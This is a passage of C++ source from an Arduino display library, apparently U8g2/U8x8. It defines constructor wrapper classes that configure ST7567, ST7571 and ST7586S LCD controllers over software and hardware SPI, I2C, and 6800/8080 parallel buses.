uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_122X32_8080 : public U8X8 {\n  public: U8X8_ST7567_122X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_122X32_SW_I2C : public U8X8 {\n  public: U8X8_ST7567_122X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7567_122X32_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_122X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7567_122X32_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_122X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7567_64X32_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_64X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_64X32_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_64X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_64X32_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_64X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_64X32_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_64X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7567_64X32_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_64X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7567_64X32_6800 : public U8X8 {\n  public: U8X8_ST7567_64X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_64X32_8080 : public U8X8 {\n  public: U8X8_ST7567_64X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_HEM6432_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_HEM6432_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_HEM6432_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_HEM6432_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_HEM6432_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_HEM6432_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_HEM6432_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_HEM6432_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7567_HEM6432_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_HEM6432_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7567_HEM6432_6800 : public U8X8 {\n  public: U8X8_ST7567_HEM6432_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_HEM6432_8080 : public U8X8 {\n  public: U8X8_ST7567_HEM6432_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_64X32_SW_I2C : public U8X8 {\n  public: U8X8_ST7567_64X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7567_64X32_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_64X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7567_64X32_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_64X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7567_HEM6432_SW_I2C : public U8X8 {\n  public: U8X8_ST7567_HEM6432_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7567_HEM6432_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_HEM6432_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7567_HEM6432_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_HEM6432_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7571_128X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7571_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7571_128X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7571_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7571_128X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7571_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7571_128X128_6800 : public U8X8 {\n  public: U8X8_ST7571_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7571_128X128_8080 : public U8X8 {\n  public: U8X8_ST7571_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7571_128X128_SW_I2C : public U8X8 {\n  public: U8X8_ST7571_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7571_128X128_HW_I2C : public U8X8 {\n  public: U8X8_ST7571_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7571_128X128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7571_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7571_128X96_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7571_128X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7571_128X96_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7571_128X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7571_128X96_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7571_128X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7571_128X96_6800 : public U8X8 {\n  public: U8X8_ST7571_128X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7571_128X96_8080 : public U8X8 {\n  public: U8X8_ST7571_128X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7571_128X96_SW_I2C : public U8X8 {\n  public: U8X8_ST7571_128X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7571_128X96_HW_I2C : public U8X8 {\n  public: U8X8_ST7571_128X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7571_128X96_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7571_128X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7586S_S028HN118A_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7586S_S028HN118A_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_s028hn118a, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_S028HN118A_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7586S_S028HN118A_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_s028hn118a, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_S028HN118A_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7586S_S028HN118A_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_s028hn118a, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_JLX384160_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7586S_JLX384160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_jlx384160, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_JLX384160_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7586S_JLX384160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_jlx384160, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_JLX384160_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7586S_JLX384160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_jlx384160, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_ERC240160_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7586S_ERC240160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_ERC240160_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7586S_ERC240160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_ERC240160_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7586S_ERC240160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_ERC240160_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7586S_ERC240160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7586S_ERC240160_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7586S_ERC240160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7586S_ERC240160_6800 : public U8X8 {\n  public: U8X8_ST7586S_ERC240160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_ERC240160_8080 : public U8X8 {\n  public: U8X8_ST7586S_ERC240160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_YMC240160_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7586S_YMC240160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_YMC240160_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7586S_YMC240160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_YMC240160_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7586S_YMC240160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass 